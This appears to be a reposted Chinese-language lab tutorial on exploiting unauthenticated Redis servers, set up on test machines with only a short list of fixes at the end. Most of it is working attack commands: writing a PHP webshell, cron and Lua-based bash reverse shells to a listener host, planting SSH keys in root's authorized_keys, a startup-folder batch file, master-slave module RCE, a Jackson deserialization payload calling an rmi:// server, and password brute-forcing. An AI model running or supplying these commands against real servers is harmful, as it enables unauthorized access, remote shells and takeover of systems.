Redis漏洞利用的示例分析

這篇文章給大家分享的是有關(guān)redis漏洞利用的示例分析的內(nèi)容。小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過來看看吧。

創(chuàng)新互聯(lián)公司主營銅川網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,App定制開發(fā),銅川h5微信小程序定制開發(fā)搭建,銅川網(wǎng)站營銷推廣歡迎銅川等地區(qū)企業(yè)咨詢

僅供參考學(xué)習(xí)使用

1、前言

Redis相關(guān)的漏洞存在很長時(shí)間了,仍然存在可以利用的情景,本次整理復(fù)現(xiàn)下redis相關(guān)的漏洞利用,以便以后遇到能夠快速建立利用思路。

2、redis介紹

redis是一個(gè)key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(**)、zset(sorted set --有序**)和hash(哈希類型)。
redis很大程度補(bǔ)償了memcached這類key/value存儲的不足,在部分場合可以對關(guān)系數(shù)據(jù)庫起到很好的補(bǔ)充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支持主從同步。數(shù)據(jù)可以從主服務(wù)器向任意數(shù)量的從服務(wù)器上同步,從服務(wù)器可以是關(guān)聯(lián)其他從服務(wù)器的主服務(wù)器。
默認(rèn)端口:6379

3、 環(huán)境搭建

分別搭建windows和linux的測試環(huán)境。
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。

Redis漏洞利用的示例分析

修改配置文件redis.windows.conf ,開啟遠(yuǎn)程訪問,關(guān)閉保護(hù)模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no

Redis漏洞利用的示例分析

指定redis.windows.conf配置文件,啟動(dòng)redis服務(wù)。

redis-server.exe  redis.windows.conf

Redis漏洞利用的示例分析

使用redis-cli.exe成功連接redis服務(wù)。

Redis漏洞利用的示例分析

linux下載地址:
最新版為6.0.1,可以選擇需要的版本進(jìn)行下載。
http://download.redis.io/releases/redis-6.0.1.tar.gz
使用wget命令下載

$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz
$ tar xzf redis-6.0.1.tar.gz
$ cd redis-6.0.1$ make

編譯后,進(jìn)入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

修改redis.conf和windows下配置相同,開啟外部訪問,關(guān)閉保護(hù)模式。

Redis漏洞利用的示例分析

啟動(dòng)redis服務(wù)

redis-server  /etc/redis.conf

Redis漏洞利用的示例分析

成功連接redis服務(wù)。

redis-cli -h 172.16.86.136

Redis漏洞利用的示例分析

4、redis寫入文件

redis默認(rèn)情況下沒有設(shè)置密碼,在沒有設(shè)置IP訪問限制的情況下,可以通過redis寫入文件進(jìn)行相關(guān)利用。

4.1、寫入webshell

適用范圍:windows,linux版本。
利用條件:
1、目標(biāo)存在web目錄
2、已知web絕對路徑
3、存在寫入權(quán)限
利用過程:
利用redis寫入一個(gè)webshell到目標(biāo)web目錄下。

config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

Redis漏洞利用的示例分析

\r\n\r\n代表換行的意思,用redis入的文件會(huì)自帶一些版本信息,如果不換行可能會(huì)導(dǎo)致無法執(zhí)行。

Redis漏洞利用的示例分析

成功寫入文件。

Redis漏洞利用的示例分析

4.2、計(jì)劃任務(wù)反彈shell

使用范圍:centos
利用條件:
1、權(quán)限可寫計(jì)劃任務(wù)
利用過程:
在權(quán)限足夠的情況下,利用redis寫入文件到計(jì)劃任務(wù)目錄下執(zhí)行。
首先監(jiān)聽端口。

nc -lvp 8899

利用redis生成計(jì)劃任務(wù)配置文件。

config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root
save

Redis漏洞利用的示例分析

在目標(biāo)主機(jī)上成功添加了計(jì)劃任務(wù)。

crontab -l

Redis漏洞利用的示例分析

每一分鐘執(zhí)行一次,成功接收到反彈的shell。

Redis漏洞利用的示例分析

坑點(diǎn):
使用kali做為目標(biāo)主機(jī)進(jìn)行測試,需要寫入計(jì)劃任務(wù)到/var/spool/cron/crontabs目錄下。
發(fā)現(xiàn)當(dāng)目標(biāo)主機(jī)為centos時(shí)可以反彈shell成功,使用了ubuntu和debian均無法成功反彈shell。
原因:由于redis向任務(wù)計(jì)劃文件里寫內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語法錯(cuò)誤,而亂碼是避免不了的,centos會(huì)忽略亂碼去執(zhí)行格式正確的任務(wù)計(jì)劃。

4.3、寫入公鑰遠(yuǎn)程連接

使用范圍:開啟了密鑰認(rèn)證的linux主機(jī)
利用條件:
1、root權(quán)限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當(dāng)redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標(biāo)服務(wù)器。
1、首先在centos靶機(jī)上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication設(shè)置為yes,意思是設(shè)置開啟使用RSA算法的基于rhosts的安全驗(yàn)證;
PubkeyAuthentication設(shè)置為yes,意思是設(shè)置開啟公鑰驗(yàn)證;
AuthorizedKeyFiles后面的目錄,是你上傳的公鑰所保存的文件;

Redis漏洞利用的示例分析

重啟服務(wù)

 systemctl restart sshd.service

2、生成密鑰
在kali中使用自帶的命令生成一對密鑰。

ssh-keygen -t rsa

3、將公鑰內(nèi)容導(dǎo)入key.txt文件

Redis漏洞利用的示例分析

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Redis漏洞利用的示例分析

4、將生成的公鑰內(nèi)容設(shè)置給redis里的變量

cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide

Redis漏洞利用的示例分析

5、在 /root/.ssh 目錄下生成authorized_keys文件。

redis-cli -h x.x.x.x
config set dir /root/.ssh 
config  set  dbfilename authorized_keys

Redis漏洞利用的示例分析

成功寫入authorized_keys文件。

Redis漏洞利用的示例分析

6、使用本地的私鑰連接ssh

ssh  -o StrictHostKeyChecking=no x.x.x.x

連接成功。

Redis漏洞利用的示例分析

坑點(diǎn):
目標(biāo)主機(jī)必須開啟了密鑰登錄才能利用。
ssh第一次連接時(shí)要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。

4.4、開機(jī)自啟目錄

當(dāng)目標(biāo)redis部署在windows主機(jī)上時(shí),可以寫入文件到自啟動(dòng)目錄。當(dāng)下次電腦重新啟動(dòng)時(shí)執(zhí)行上線。
使用powershell遠(yuǎn)程下載執(zhí)行。
server服務(wù)器默認(rèn)存在Administrator用戶。
寫入批處理文件到Administrator用戶的開機(jī)啟動(dòng)目錄。

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save

Redis漏洞利用的示例分析

5、 redis主從同步rce

使用范圍redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以在redis中實(shí)現(xiàn)一個(gè)新的Redis命令,通過寫c語言并編譯出.so文件。

git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

編譯so文件

cd RedisModules-ExecuteCommand/
ls
make

編譯完后之后module.so到redis-rce目錄下,運(yùn)行命令:

python redis-rce.py -r x.x.x.x  -L x.x.x.x -f module.so

-r參數(shù)是指目標(biāo)redis IP地址
-L參數(shù)是指本機(jī)的ip地址
執(zhí)行命令后,本機(jī)21000端口生成一個(gè)redis服務(wù),然后目標(biāo)redis指定本機(jī)為主服務(wù)器,同步執(zhí)行so文件。
執(zhí)行成功后可以選擇生成一個(gè)交互的shell,或者重新反彈一個(gè)shell。

Redis漏洞利用的示例分析

6、反序列化rce

當(dāng)遇到 redis 服務(wù)器寫文件無法 getshell,可以查看redis數(shù)據(jù)是否符合序列化數(shù)據(jù)的特征。
序列化數(shù)據(jù)類型分辨:

jackson:關(guān)注 json 對象是不是數(shù)組,第一個(gè)元素看起來像不像類名,例如["com.blue.bean.User",xxx]
fastjson:關(guān)注有沒有 @type 字段
jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名

redis 反序列化本質(zhì)上不是 redis 的漏洞,而是使用 redis 的應(yīng)用反序列化了 redis 的數(shù)據(jù)而引起的漏洞,redis 是一個(gè)緩存服務(wù)器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數(shù)據(jù)。
兩個(gè)常見場景:
一、java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
二、程序員經(jīng)常會(huì)把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數(shù)據(jù)就會(huì)被序列化存儲到 redis 里,在被查詢時(shí)就會(huì)優(yōu)先從 redis 里將對象反序列化一遍。

redis一般存儲的都是 java 序列化對象,php、python 比較少見,比較多的是 fastjson 和 jackson 類型的序列化數(shù)據(jù),jdk 原生的序列化數(shù)據(jù)。
因?yàn)橐獜?redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會(huì)選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通??梢赃M(jìn)行利用。

fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過篡改 redis 里面的反序列化數(shù)據(jù),把惡意的序列化字節(jié)碼存儲進(jìn)去,等到應(yīng)用使用到它的時(shí)候就會(huì)反序列化觸發(fā)漏洞,下面演示jackson 反序列化的利用過程。

6.1、jackson 反序列化利用

序列化:把Java對象轉(zhuǎn)換為字節(jié)序列的過程。
反序列化:把字節(jié)序列恢復(fù)為Java對象的過程。
jackson 反序列化漏洞匯總
使用淺藍(lán)大佬的springboot+redis+jackson的漏洞環(huán)境進(jìn)行演示。
下載地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞環(huán)境。
使用IDEA打開pom.xml文件,自動(dòng)下載安裝程序運(yùn)行所需的依賴。

Redis漏洞利用的示例分析

安裝完成后,運(yùn)行程序。

Redis漏洞利用的示例分析本地啟動(dòng)一個(gè)redis。

Redis漏洞利用的示例分析

TestController.java 里寫了兩個(gè)接口,login 接口會(huì)把 User 對象直接存儲到 redis。home 接口會(huì)將 username 參數(shù)當(dāng)做 key 去 redis 里查詢。

在“存儲”和“查詢”的時(shí)候?qū)嶋H上就是在“序列化”與“反序列化”。

這個(gè)過程如下:

調(diào)用login接口 -> 序列化User對象并存儲到redis -> 調(diào)用home接口 -> 從redis取出數(shù)據(jù)并反序列化

如果控制了redis,可以先調(diào)用login接口把User 對象序列化存儲到redis,然后把redis里的這條序列化數(shù)據(jù)篡改成惡意反序列化數(shù)據(jù)。最后去訪問home接口,從redis中取出數(shù)據(jù),從而導(dǎo)致觸發(fā)了反序列化漏洞。

演示過程:
訪問login接口把數(shù)據(jù)存儲到redis。

127.0.0.1:8080/login?username=nuoyan&password=123456

Redis漏洞利用的示例分析

修改redis中的存儲的數(shù)據(jù)為惡意反序列化數(shù)據(jù),發(fā)起 JNDI 連接請求。相關(guān)rmi和jndi服務(wù)器搭建可以參考

Fastjson反序列化漏洞利用

set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"

Redis漏洞利用的示例分析

然后訪問home接口,取出數(shù)據(jù)進(jìn)行反序列化,成功彈出了計(jì)算器。

http://127.0.0.1:8080/home?username=nuoyan

Redis漏洞利用的示例分析

7、lua rce

A-Team團(tuán)隊(duì)大佬提出的一種利用方法。相關(guān)細(xì)節(jié)可參考《在Redis中構(gòu)建Lua虛擬機(jī)的穩(wěn)定攻擊路徑》
適用于高權(quán)限運(yùn)行低版本redis的lua虛擬機(jī),寫文件失敗時(shí)進(jìn)行嘗試。
本地搭建了centos6.5+redis 2.6.16的實(shí)驗(yàn)環(huán)境
使用info server 和 eval "return _VERSION" 0 命令可以查看當(dāng)前redis版本和編譯信息。

Redis漏洞利用的示例分析

下載A-Team團(tuán)隊(duì)的exp

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py中目標(biāo)地址為靶機(jī)的ip地址。

Redis漏洞利用的示例分析

運(yùn)行攻擊exp。

Redis漏洞利用的示例分析

顯示執(zhí)行成功,可以進(jìn)行命令執(zhí)行了。

連接靶機(jī)redis執(zhí)行反彈shell命令。

eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0

Redis漏洞利用的示例分析

成功接收到反彈的shell。

Redis漏洞利用的示例分析

8、redis密碼爆破

當(dāng)redis服務(wù)開放且設(shè)置了密碼時(shí),可以嘗試使用工具爆破。
首先給redis設(shè)置密碼,修改redis.conf,增加密碼

requirepass admin@123

Redis漏洞利用的示例分析

使用redis-cli連接,使用-a參數(shù)指定密碼操作。

Redis漏洞利用的示例分析

使用msf的auxiliary/scanner/redis/redis_login模塊
設(shè)置爆破的目標(biāo)地址,和字典文件,不建議使用默認(rèn)字典文件。

Redis漏洞利用的示例分析

成功爆破出密碼為admin@123

Redis漏洞利用的示例分析

9、漏洞修復(fù)

1、禁止使用root權(quán)限啟動(dòng)redis服務(wù)。
2、對redis訪問啟動(dòng)密碼認(rèn)證。
3、添加IP訪問限制,并更改默認(rèn)6379端口

感謝各位的閱讀!關(guān)于“Redis漏洞利用的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!

網(wǎng)站標(biāo)題:Redis漏洞利用的示例分析
網(wǎng)頁地址:http://muchs.cn/article12/isgjdc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)網(wǎng)站建設(shè)、營銷型網(wǎng)站建設(shè)定制開發(fā)、軟件開發(fā)、外貿(mào)建站、網(wǎng)站改版

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都app開發(fā)公司